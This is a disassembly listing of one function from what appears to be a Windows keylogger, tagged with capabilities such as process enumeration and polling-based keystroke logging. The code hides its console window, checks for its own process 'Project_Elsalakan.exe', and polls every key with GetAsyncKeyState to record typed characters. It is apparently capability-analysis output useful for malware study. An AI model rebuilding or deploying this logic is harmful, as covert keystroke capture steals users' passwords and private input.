Function at 0x1400020d0
Capabilities:
Enumerate processes
Get keyboard layout
Log keystrokes
Log keystrokes via polling
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x210]
sub rsp, 0x310
mov rax, qword [0x14000a028]
xor rax, rsp
mov qword [rbp + 0x200], rax
xor r14d, r14d
mov dword [rsp + 0x60], r14d
mov ebx, r14d
mov dword [rbp - 0x30], 0x130
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
lea rdx, [rbp - 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
cmp eax, 1
jne 0x140002172
lea rdx, [rbp - 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
jne 0x140002172
lea rdx, str.Project_Elsalakan.exe
lea rcx, [rbp - 4]
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x14000213a
inc ebx
cmp ebx, 1
jle 0x14000213a
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140002180
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 1
je 0x1400021b2
xor eax, eax
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.140004180
lea r11, [rsp + 0x310]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
movdqa xmm0, xmmword [0x1400069e0]
movdqa xmmword [rbp + 0x100], xmm0
movdqa xmm1, xmmword [0x1400069d0]
movdqa xmmword [rbp + 0x110], xmm1
movdqa xmm0, xmmword [0x1400069c0]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [0x1400069b0]
movdqa xmmword [rbp + 0x130], xmm1
movdqa xmm0, xmmword [0x140006990]
movdqa xmmword [rbp + 0x140], xmm0
movdqa xmm1, xmmword [0x140006940]
movdqa xmmword [rbp + 0x150], xmm1
movdqa xmm0, xmmword [0x140006930]
movdqa xmmword [rbp + 0x160], xmm0
movdqa xmm1, xmmword [0x140006920]
movdqa xmmword [rbp + 0x170], xmm1
movdqa xmm0, xmmword [0x1400069a0]
movdqa xmmword [rbp + 0x180], xmm0
movdqa xmm1, xmmword [0x140006950]
movdqa xmmword [rbp + 0x190], xmm1
movdqa xmm0, xmmword [0x140006910]
movdqa xmmword [rbp + 0x1a0], xmm0
movdqa xmm1, xmmword [0x140006900]
movdqa xmmword [rbp + 0x1b0], xmm1
movdqa xmm0, xmmword [0x140006960]
movdqa xmmword [rbp + 0x1c0], xmm0
movdqa xmm1, xmmword [0x140006970]
movdqa xmmword [rbp + 0x1d0], xmm1
movdqa xmm0, xmmword [0x140006980]
movdqa xmmword [rbp + 0x1e0], xmm0
mov dword [rbp + 0x1f0], 0x7b
xorps xmm1, xmm1
movups xmmword [rbp - 0x70], xmm1
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], r14b
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
mov ebx, 0xffff8001
mov esi, 0x3ff
nop
lea rcx, [rbp - 0x50]
call fcn.1400015b0
nop
mov rdi, qword [rbp - 0x40]
mov r13, qword [rbp - 0x38]
mov r12, qword [rbp - 0x50]
test rdi, rdi
je 0x1400025e2
mov rbx, qword [0x14000a060]
cmp rbx, 0x10
setae r15b
lea rdx, [0x14000a048]
mov rsi, qword [0x14000a048]
cmovae rdx, rsi
lea rcx, [rbp - 0x50]
cmp r13, 0x10
setae r14b
cmovae rcx, r12
cmp rdi, qword [0x14000a058]
jne 0x140002349
mov r8, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400025d5
lea r9, [rbp - 0x50]
test r14b, r14b
cmovne r9, r12
cmp rdi, rbx
ja 0x140002382
lea rbx, [0x14000a048]
test r15b, r15b
cmovne rbx, rsi
mov qword [0x14000a058], rdi
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rdi + rbx], 0
jmp 0x140002399
mov rdx, rdi
lea rcx, [0x14000a048]
call fcn.140003b50
mov r13, qword [rbp - 0x38]
mov r12, qword [rbp - 0x50]
mov rsi, qword [0x14000a058]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rsi
cmp rax, 3
jb 0x1400028dd
lea r15, [0x14000a048]
cmp qword [0x14000a060], 0x10
cmovae r15, qword [0x14000a048]
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xor eax, eax
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x80], rax
lea r14, [rsi + 3]
mov ebx, 0xf
lea rdi, [rsp + 0x68]
cmp r14, rbx
jbe 0x14000246e
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x140002416
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x14000243d
cmp rbx, 0x16
mov ecx, 0x16
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14000245c
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400028e3
mov rcx, rax
call fcn.1400041a0
test rax, rax
je 0x1400028b8
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140002469
test rcx, rcx
je 0x140002466
call fcn.1400041a0
mov rdi, rax
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x78], r14
mov qword [rbp - 0x80], rbx
movzx eax, word [0x140006824]
mov word [rdi], ax
movzx eax, byte [0x140006826]
mov byte [rdi + 2], al
lea rcx, [rdi + 3]
mov r8, rsi
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], 0
mov esi, dword [rsp + 0x60]
or esi, 2
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rbp - 0x80]
mov rax, rdx
sub rax, rcx
cmp rax, 2
jb 0x1400024e8
lea rax, [rcx + 2]
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x68]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x68]
mov edx, 0xa5d
mov word [rax + rcx], dx
mov byte [rax + rcx + 2], 0
lea rax, [rsp + 0x68]
jmp 0x140002500
mov qword [rsp + 0x20], 2
mov edx, 2
lea rcx, [rsp + 0x68]
call fcn.140003c90
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xor r14d, r14d
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
or esi, 1
mov dword [rsp + 0x60], esi
lea rcx, [rsp + 0x40]
call fcn.1400012d0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140002584
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000257f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400028b1
call fcn.14000442c
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x1400025d8
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400025ce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400028b8
call fcn.14000442c
jmp 0x1400025d8
xor r14d, r14d
mov ebx, 0xffff8001
mov esi, 0x3ff
mov edi, 8
mov ecx, edi
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cmp ax, bx
jne 0x140002856
mov r8d, edi
lea rdx, [rbp + 0x1f4]
lea rcx, [rbp + 0x100]
call fcn.1400040b0
lea rcx, [rbp + 0x1f4]
cmp rax, rcx
je 0x1400026ef
mov edx, edi
lea rcx, [rsp + 0x40]
call fcn.140001760
mov rbx, rax
lea rax, [rbp - 0x70]
cmp rax, rbx
je 0x14000269f
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140002671
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000266c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400028bf
call fcn.14000442c
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x1400026dc
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400026d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400028bf
call fcn.14000442c
lea rcx, [rbp - 0x70]
call fcn.1400012d0
mov ebx, 0xffff8001
jmp 0x140002856
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
and ax, si
mov ecx, edi
cmp ax, 1
jne 0x1400027e6
call qword [sym.imp.USER32.dll_GetKeyState]
xor edx, edx
mov ecx, edi
call qword [sym.imp.USER32.dll_MapVirtualKeyA]
mov edx, eax
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 1
lea r9, [rbp - 0x78]
lea r8, [rbp - 0x30]
mov ecx, edi
call qword [sym.imp.USER32.dll_ToUnicode]
cmp eax, 1
jne 0x140002856
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 2
lea rax, [rbp - 0x74]
mov qword [rsp + 0x20], rax
mov r9d, 1
lea r8, [rbp - 0x78]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], 2
mov qword [rsp + 0x58], 0xf
movzx eax, word [rbp - 0x74]
mov word [rsp + 0x40], ax
mov byte [rsp + 0x42], 0
lea rcx, [rsp + 0x40]
call fcn.1400012d0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140002856
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002851
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002851
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x58], 0xf
movzx eax, al
mov byte [rsp + 0x40], al
mov byte [rsp + 0x41], 0
lea rcx, [rsp + 0x40]
call fcn.1400012d0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140002856
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002851
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400028c6
call fcn.14000442c
inc edi
cmp edi, 0xbe
jle 0x1400025e7
mov ecx, 0x70
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jne 0x1400028d4
cmp r13, 0x10
jb 0x1400022e0
lea rdx, [r13 + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x1400028a4
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400028cd
mov rcx, r12
call fcn.14000442c
jmp 0x1400022e0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.1400011f0
int3
call fcn.140001150
int3